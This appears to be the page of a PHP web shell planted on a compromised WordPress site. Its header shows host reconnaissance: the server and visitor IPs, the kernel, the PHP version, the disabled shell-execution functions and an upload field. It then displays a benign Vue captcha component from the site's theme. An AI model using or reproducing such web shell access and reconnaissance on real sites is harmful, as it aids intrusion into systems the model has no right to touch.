AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/Assets/fontend/library/ |
Upload File : |
<template>
<div>
<div
class="l-captcha"
data-site-key="3e2e37dfd5e46aad77a39c20766babd1"
data-width="100%"
data-callback="getResponse"
></div>
</div>
</template>
<script>
export default {
methods: {
dynamicLoadJs: function(url, callback) {
var head = document.getElementsByTagName("head")[0];
var script = document.createElement("script");
script.type = "text/javascript";
script.src = url;
if (typeof callback == "function") {
script.onload = script.onreadystatechange = function() {
if (
!this.readyState ||
this.readyState === "loaded" ||
this.readyState === "complete"
) {
callback();
script.onload = script.onreadystatechange = null;
}
};
}
head.appendChild(script);
}
},
created() {
const self = this;
this.dynamicLoadJs("//captcha.luosimao.com/static/js/api.js");
window.getResponse = (resp) => {
var els =document.getElementsByName("luotest_response");
if (els.length === 1 && els[0].value === resp) {
self.$emit("success", resp);
} else {
// eslint-disable-next-line
LUOCAPTCHA && LUOCAPTCHA.reset();
}
}
}
};
</script>